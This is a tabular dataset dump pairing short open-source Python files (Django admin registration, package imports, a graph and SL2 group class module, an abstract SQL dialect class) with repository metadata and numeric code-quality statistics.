| 15.7 | 38 | 0.694268 | 16 | 157 | 6.75 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007576 | 0.159236 | 157 | 9 | 39 | 17.444444 | 0.810606 | 0.350318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
046c8f65782d42f1654297b1840b4be7c914473f | 118 | py | Python | report/admin.py | gabrielferreira/djangoreport | 6cad4d6c8a2b7965c140300172686e227ef6037d | [
"Apache-2.0"
] | 1 | 2016-04-14T15:40:40.000Z | 2016-04-14T15:40:40.000Z | report/admin.py | gabrielferreira/djangoreport | 6cad4d6c8a2b7965c140300172686e227ef6037d | [
"Apache-2.0"
] | null | null | null | report/admin.py | gabrielferreira/djangoreport | 6cad4d6c8a2b7965c140300172686e227ef6037d | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from django.contrib import admin
from report.models import Report
admin.site.register(Report) | 23.6 | 32 | 0.754237 | 17 | 118 | 5.235294 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009615 | 0.118644 | 118 | 5 | 33 | 23.6 | 0.846154 | 0.177966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
04acd44b5dc49b72bedcb6b88e3bcf1b0901a0a7 | 166 | py | Python | slicedimage/_compat.py | ttung/slicedimage | eb8e1d3899628db66cffed1370f2a7e6dd729c4f | [
"MIT"
] | 6 | 2018-05-07T02:06:47.000Z | 2021-05-19T02:01:03.000Z | slicedimage/_compat.py | ttung/slicedimage | eb8e1d3899628db66cffed1370f2a7e6dd729c4f | [
"MIT"
] | 115 | 2018-05-02T20:46:08.000Z | 2020-05-26T06:41:32.000Z | slicedimage/_compat.py | ttung/slicedimage | eb8e1d3899628db66cffed1370f2a7e6dd729c4f | [
"MIT"
] | 4 | 2018-08-23T14:07:23.000Z | 2019-10-29T16:54:36.000Z | import os
import sys
def fspath(pathlib_path):
if sys.version_info >= (3, 6):
return os.fspath(pathlib_path)
else:
return str(pathlib_path)
| 16.6 | 38 | 0.650602 | 24 | 166 | 4.333333 | 0.625 | 0.317308 | 0.326923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016129 | 0.253012 | 166 | 9 | 39 | 18.444444 | 0.822581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.714286 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
04ea15a09a77f7df8f20ad7ff4d82e7d3ebb629e | 182 | py | Python | gufe/protocols/__init__.py | OpenFreeEnergy/gufe | 3ee39f695e70c17cf1205597379f4be0481ca781 | [
"MIT"
] | 6 | 2022-03-25T09:52:10.000Z | 2022-03-29T19:24:47.000Z | gufe/protocols/__init__.py | OpenFreeEnergy/gufe | 3ee39f695e70c17cf1205597379f4be0481ca781 | [
"MIT"
] | 12 | 2022-03-25T19:57:53.000Z | 2022-03-31T20:12:50.000Z | gufe/protocols/__init__.py | OpenFreeEnergy/gufe | 3ee39f695e70c17cf1205597379f4be0481ca781 | [
"MIT"
] | null | null | null | from .protocol import Protocol, ProtocolResult
from .results import ProtocolUnitResult, ProtocolDAGResult
from .protocoldag import ProtocolDAG
from .protocolunit import ProtocolUnit
| 36.4 | 58 | 0.868132 | 18 | 182 | 8.777778 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098901 | 182 | 4 | 59 | 45.5 | 0.963415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
04ec28a66c4087d35528d657bdeb266a9eda2d3e | 137 | py | Python | src/officeanswers/preprocess/__init__.py | JacobPolloreno/ZaraAi | 12c2e5dc7fc57fd7bde98f27bd629979e84ba160 | [
"MIT"
] | 2 | 2018-10-13T03:09:15.000Z | 2019-07-23T02:05:38.000Z | src/officeanswers/preprocess/__init__.py | JacobPolloreno/ZaraAi | 12c2e5dc7fc57fd7bde98f27bd629979e84ba160 | [
"MIT"
] | 1 | 2018-09-26T21:27:14.000Z | 2018-09-26T21:27:14.000Z | src/officeanswers/preprocess/__init__.py | JacobPolloreno/OfficeAnswers | 12c2e5dc7fc57fd7bde98f27bd629979e84ba160 | [
"MIT"
] | null | null | null | from .embeddings import build_document_embeddings
from .hashing import Hasher
from .prepare_and_preprocess import prepare_and_preprocess
| 34.25 | 58 | 0.890511 | 18 | 137 | 6.444444 | 0.555556 | 0.172414 | 0.344828 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087591 | 137 | 3 | 59 | 45.666667 | 0.928 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
8e06a5e9a6b7ba03480236a44de2fe8850685cb4 | 83 | py | Python | models/__init__.py | marioviti/nn_segmentation | b754b38cd1898c0746e383ecd32d9d4c33c60b33 | [
"MIT"
] | null | null | null | models/__init__.py | marioviti/nn_segmentation | b754b38cd1898c0746e383ecd32d9d4c33c60b33 | [
"MIT"
] | null | null | null | models/__init__.py | marioviti/nn_segmentation | b754b38cd1898c0746e383ecd32d9d4c33c60b33 | [
"MIT"
] | null | null | null | from Unet import Unet
from MimoNet import MimoNet
from metrics_and_losses import *
| 20.75 | 32 | 0.843373 | 13 | 83 | 5.230769 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144578 | 83 | 3 | 33 | 27.666667 | 0.957746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8e0cefd12cfdb7ffd8e201ab8c3c336a7100bb53 | 20,460 | py | Python | SL2Equivariance/SL2_classes.py | flaar94/Machine_Learning | 2b1ce593715574f70c881f986fcb7ca6e7aab64a | [
"Apache-2.0"
] | null | null | null | SL2Equivariance/SL2_classes.py | flaar94/Machine_Learning | 2b1ce593715574f70c881f986fcb7ca6e7aab64a | [
"Apache-2.0"
] | null | null | null | SL2Equivariance/SL2_classes.py | flaar94/Machine_Learning | 2b1ce593715574f70c881f986fcb7ca6e7aab64a | [
"Apache-2.0"
] | null | null | null | import torch
from itertools import product
from dataclasses import dataclass
from collections import deque
from typing import Any, Hashable
class Vertex:
def __init__(self, key):
self.key = key
self.connected_to = {}
def add_neighbor(self, nbr, wt=0):
self.connected_to[nbr] = wt
... | 38.75 | 121 | 0.567351 | 2,867 | 20,460 | 3.933729 | 0.096965 | 0.039723 | 0.031034 | 0.028729 | 0.782674 | 0.761571 | 0.738961 | 0.725661 | 0.714932 | 0.709434 | 0 | 0.018847 | 0.310166 | 20,460 | 527 | 122 | 38.823529 | 0.780218 | 0.19521 | 0 | 0.662722 | 0 | 0 | 0.06246 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.147929 | false | 0.002959 | 0.014793 | 0.065089 | 0.39645 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
8e45b4cf7fd847236163a6fc9c1e5367e4586e6f | 59 | py | Python | enthought/traits/ui/wx/array_view_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 3 | 2016-12-09T06:05:18.000Z | 2018-03-01T13:00:29.000Z | enthought/traits/ui/wx/array_view_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 1 | 2020-12-02T00:51:32.000Z | 2020-12-02T08:48:55.000Z | enthought/traits/ui/wx/array_view_editor.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | null | null | null | # proxy module
from traitsui.wx.array_view_editor import *
| 19.666667 | 43 | 0.813559 | 9 | 59 | 5.111111 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118644 | 59 | 2 | 44 | 29.5 | 0.884615 | 0.20339 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
6d0ac15ad8d2fc87f0de128bb6607f9401741ac0 | 128 | py | Python | bin/apache-hive-3.1.2-bin/lib/py/thrift/server/__init__.py | ptrick/hdfs-hive-sql-playground | 83f2aaa79f022a3c320939eace1fd2d06583187f | [
"Apache-2.0"
] | null | null | null | bin/apache-hive-3.1.2-bin/lib/py/thrift/server/__init__.py | ptrick/hdfs-hive-sql-playground | 83f2aaa79f022a3c320939eace1fd2d06583187f | [
"Apache-2.0"
] | null | null | null | bin/apache-hive-3.1.2-bin/lib/py/thrift/server/__init__.py | ptrick/hdfs-hive-sql-playground | 83f2aaa79f022a3c320939eace1fd2d06583187f | [
"Apache-2.0"
] | null | null | null | version https://git-lfs.github.com/spec/v1
oid sha256:0c47c40014edc69509343b949182a33251f756f7894144ef8c6b526b7e5cafbc
size 830
| 32 | 75 | 0.882813 | 13 | 128 | 8.692308 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.418033 | 0.046875 | 128 | 3 | 76 | 42.666667 | 0.508197 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
6d3eacc4d05c5958d9d8c60068918c25fccc9305 | 29 | py | Python | tests/fixtures/empty_bundle/routes.py | briancappello/flask-controller-bundle | 1a5b9c58156083b711f90133d8ccb45d50b79aab | [
"MIT"
] | 69 | 2018-10-10T01:59:11.000Z | 2022-03-29T17:29:30.000Z | tests/fixtures/empty_bundle/routes.py | briancappello/flask-controller-bundle | 1a5b9c58156083b711f90133d8ccb45d50b79aab | [
"MIT"
] | 18 | 2018-11-17T12:42:02.000Z | 2021-05-22T18:45:27.000Z | tests/fixtures/empty_bundle/routes.py | briancappello/flask-controller-bundle | 1a5b9c58156083b711f90133d8ccb45d50b79aab | [
"MIT"
] | 7 | 2018-10-12T16:20:25.000Z | 2021-10-06T12:18:21.000Z | # intentionally nothing here
| 14.5 | 28 | 0.827586 | 3 | 29 | 8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0.896552 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
6d639e69ce1c79ebd3f02f2fbd1e351e31f275e4 | 210 | py | Python | app/plugins/function/split.py | venturiscm/hcp | 74ad18180822301274daa9218d7bd9fbdb7807f7 | [
"Apache-2.0"
] | 1 | 2020-06-22T21:25:52.000Z | 2020-06-22T21:25:52.000Z | app/plugins/function/split.py | venturiscm/hcp | 74ad18180822301274daa9218d7bd9fbdb7807f7 | [
"Apache-2.0"
] | 1 | 2020-05-21T02:46:24.000Z | 2020-05-25T07:19:23.000Z | app/plugins/function/split.py | venturiscm/hcp | 74ad18180822301274daa9218d7bd9fbdb7807f7 | [
"Apache-2.0"
] | null | null | null | from systems.plugins.index import BaseProvider
import re
class Provider(BaseProvider('function', 'split')):
def exec(self, str_value, split_value = ','):
return re.split(split_value, str_value)
| 21 | 50 | 0.719048 | 27 | 210 | 5.444444 | 0.62963 | 0.108844 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.161905 | 210 | 9 | 51 | 23.333333 | 0.835227 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
ed93e97ef7ae172a9fb2ed90a8d4036cbf6d91ef | 52 | py | Python | algorithm/qlearning/__init__.py | nickplas/Internship_ESTECO | 576039255a7f087585e19f323873f8e5dc2af39b | [
"Apache-2.0"
] | 2 | 2021-03-05T02:11:43.000Z | 2021-04-23T13:18:16.000Z | algorithm/qlearning/__init__.py | nickplas/Internship_ESTECO | 576039255a7f087585e19f323873f8e5dc2af39b | [
"Apache-2.0"
] | null | null | null | algorithm/qlearning/__init__.py | nickplas/Internship_ESTECO | 576039255a7f087585e19f323873f8e5dc2af39b | [
"Apache-2.0"
] | null | null | null | from algorithm.qlearning.qlearning import qlearning
| 26 | 51 | 0.884615 | 6 | 52 | 7.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 52 | 1 | 52 | 52 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
edd675340a1d6277d74307f78ef744eefd65b49f | 497 | py | Python | QUANTAXIS/QAARP/market_preset.py | simplezhang57/QUANTAXIS | 0fab23ee3cc4048a30b5eed3c311a5c9cdce8110 | [
"MIT"
] | 2 | 2018-10-29T12:01:55.000Z | 2021-03-05T10:28:59.000Z | QUANTAXIS/QAARP/market_preset.py | frosthaoz/QUANTAXIS | f5f482418e5f6e23ac3530089b8d17300d931b48 | [
"MIT"
] | null | null | null | QUANTAXIS/QAARP/market_preset.py | frosthaoz/QUANTAXIS | f5f482418e5f6e23ac3530089b8d17300d931b48 | [
"MIT"
] | 2 | 2018-11-30T07:52:14.000Z | 2021-05-28T23:00:20.000Z | #
class MARKET_PRESET:
def __init__(self):
pass
# 手续费比例
def get_commission_coeff(self, code, dtype):
pass
# 印花税系数
def get_tax_coeff(self, code, dtype):
pass
# 交易时间
def get_trade_time(self, code, dtype):
pass
# 交易日期
def get_trade_day(self, code, ... | 15.53125 | 48 | 0.577465 | 64 | 497 | 4.203125 | 0.4375 | 0.133829 | 0.193309 | 0.252788 | 0.163569 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003021 | 0.334004 | 497 | 31 | 49 | 16.032258 | 0.809668 | 0.092555 | 0 | 0.466667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.466667 | false | 0.466667 | 0 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
edf5477639f30f67b51f3b3a4820f215db90883b | 93 | py | Python | shelf/admin.py | lmkirkiii/Random-Shelf-Repo | d4610f078e51c06be392febadad945f291de1a46 | [
"MIT"
] | null | null | null | shelf/admin.py | lmkirkiii/Random-Shelf-Repo | d4610f078e51c06be392febadad945f291de1a46 | [
"MIT"
] | null | null | null | shelf/admin.py | lmkirkiii/Random-Shelf-Repo | d4610f078e51c06be392febadad945f291de1a46 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Treasure
admin.site.register(Treasure) | 18.6 | 32 | 0.827957 | 13 | 93 | 5.923077 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107527 | 93 | 5 | 33 | 18.6 | 0.927711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
edf98d2dc220dba9cbe23a540ea11375c6b733cd | 50 | py | Python | Operations/DN_Range.py | ClarkLabUVA/hctsa-py | 4382a7e852d21cdfefdac1a4a09ea6e11abd9be1 | [
"MIT"
] | 6 | 2020-08-14T00:16:19.000Z | 2022-01-20T05:49:12.000Z | Operations/DN_Range.py | fairscape/hctsa-py | 4382a7e852d21cdfefdac1a4a09ea6e11abd9be1 | [
"MIT"
] | null | null | null | Operations/DN_Range.py | fairscape/hctsa-py | 4382a7e852d21cdfefdac1a4a09ea6e11abd9be1 | [
"MIT"
] | 4 | 2020-08-14T00:22:45.000Z | 2021-02-18T05:31:14.000Z | def DN_Range(y):
return np.max(y) - np.min(y)
| 16.666667 | 32 | 0.6 | 11 | 50 | 2.636364 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 50 | 2 | 33 | 25 | 0.725 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
b62813ccb370bcce2aac7b59b43d32eff42d7731 | 92 | py | Python | collpy/collpy.py | BlankGodd/collpy | ae23f8124fb2921f814717574c611e9358271148 | [
"MIT"
] | 3 | 2020-08-14T08:38:32.000Z | 2020-08-17T23:31:37.000Z | collpy/collpy.py | BlankGodd/collpy | ae23f8124fb2921f814717574c611e9358271148 | [
"MIT"
] | null | null | null | collpy/collpy.py | BlankGodd/collpy | ae23f8124fb2921f814717574c611e9358271148 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# Author: @BlankGodd_
from progressbar import *
from fancy import *
| 10.222222 | 25 | 0.695652 | 11 | 92 | 5.727273 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195652 | 92 | 8 | 26 | 11.5 | 0.851351 | 0.413043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b62e02ab037cbf0ca4e1820605dcfef3cb3e1042 | 64 | py | Python | sam-distance.py | shannon-jia/distance | dc9a2c0736b8e8578ba1a1ac87c8650ba95e1d90 | [
"MIT"
] | null | null | null | sam-distance.py | shannon-jia/distance | dc9a2c0736b8e8578ba1a1ac87c8650ba95e1d90 | [
"MIT"
] | null | null | null | sam-distance.py | shannon-jia/distance | dc9a2c0736b8e8578ba1a1ac87c8650ba95e1d90 | [
"MIT"
] | null | null | null | # pyinstaller filename
import distance.cli
distance.cli.main()
| 12.8 | 22 | 0.796875 | 8 | 64 | 6.375 | 0.75 | 0.431373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109375 | 64 | 4 | 23 | 16 | 0.894737 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b64acd94146df8264a6032c37de5b7014838d96b | 61 | py | Python | Python/Main.py | RaysOfTheSun/FlappyBird | 1af01144a67e65281293cb8a321124e22edf2825 | [
"Apache-2.0"
] | null | null | null | Python/Main.py | RaysOfTheSun/FlappyBird | 1af01144a67e65281293cb8a321124e22edf2825 | [
"Apache-2.0"
] | null | null | null | Python/Main.py | RaysOfTheSun/FlappyBird | 1af01144a67e65281293cb8a321124e22edf2825 | [
"Apache-2.0"
] | null | null | null | from GameModules.Game import Game
game = Game()
game.play()
| 12.2 | 33 | 0.737705 | 9 | 61 | 5 | 0.555556 | 0.533333 | 0.533333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147541 | 61 | 4 | 34 | 15.25 | 0.865385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
b64aed36a99bd0df6bbe2fa15cad6252e9d7f774 | 121 | py | Python | 74.py | CallMeTwitch/LeetCode | 7d59b299fe76eb93ecc3d6936ab4bfedeb323ef7 | [
"MIT"
] | null | null | null | 74.py | CallMeTwitch/LeetCode | 7d59b299fe76eb93ecc3d6936ab4bfedeb323ef7 | [
"MIT"
] | null | null | null | 74.py | CallMeTwitch/LeetCode | 7d59b299fe76eb93ecc3d6936ab4bfedeb323ef7 | [
"MIT"
] | null | null | null | class Solution:
def searchMatrix(self, matrix, target):
return True if target in sum(matrix, []) else False | 40.333333 | 59 | 0.677686 | 16 | 121 | 5.125 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231405 | 121 | 3 | 59 | 40.333333 | 0.88172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
b66ac2f9cfa951a144aa832fcbca967e96f77f9d | 1,253 | py | Python | pdip/integrator/connection/types/sql/base/sql_dialect.py | ahmetcagriakca/pdip | c4c16d5666a740154cabdc6762cd44d98b7bdde8 | [
"MIT"
] | 2 | 2021-12-09T21:07:46.000Z | 2021-12-11T22:18:01.000Z | pdip/integrator/connection/types/sql/base/sql_dialect.py | PythonDataIntegrator/pdip | c4c16d5666a740154cabdc6762cd44d98b7bdde8 | [
"MIT"
] | null | null | null | pdip/integrator/connection/types/sql/base/sql_dialect.py | PythonDataIntegrator/pdip | c4c16d5666a740154cabdc6762cd44d98b7bdde8 | [
"MIT"
] | 3 | 2021-11-15T00:47:00.000Z | 2021-12-17T11:35:45.000Z | from abc import abstractmethod
class SqlDialect:
def __init__(self):
pass
@abstractmethod
def get_query_indexer(self):
pass
@abstractmethod
def get_truncate_query(self, schema, table):
pass
@abstractmethod
def get_table_count_query(self, query):
pass
... | 19.888889 | 75 | 0.660016 | 143 | 1,253 | 5.48951 | 0.272727 | 0.321019 | 0.374522 | 0.397452 | 0.557962 | 0.440764 | 0.211465 | 0.109554 | 0 | 0 | 0 | 0 | 0.272147 | 1,253 | 62 | 76 | 20.209677 | 0.860746 | 0 | 0 | 0.630435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.326087 | false | 0.326087 | 0.021739 | 0 | 0.369565 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
b68553a6462d85b14a4e97b5ff84fed61a756c67 | 150 | py | Python | re_charexclude.py | Kalpavrikshika/python_modules | 9f338ab006dd5653fd7f65ff253bc50e0fd61fc6 | [
"Apache-2.0"
] | 1 | 2018-07-02T03:37:03.000Z | 2018-07-02T03:37:03.000Z | re_charexclude.py | Kalpavrikshika/python_modules | 9f338ab006dd5653fd7f65ff253bc50e0fd61fc6 | [
"Apache-2.0"
] | null | null | null | re_charexclude.py | Kalpavrikshika/python_modules | 9f338ab006dd5653fd7f65ff253bc50e0fd61fc6 | [
"Apache-2.0"
] | null | null | null | from re_testpattern import test_patterns
test_patterns("This is some text -- with punctuation.",[('[^-. ]+','sequences without -, ., or space ')],
)
| 30 | 105 | 0.68 | 18 | 150 | 5.5 | 0.888889 | 0.242424 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 150 | 4 | 106 | 37.5 | 0.761538 | 0 | 0 | 0 | 0 | 0 | 0.52 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
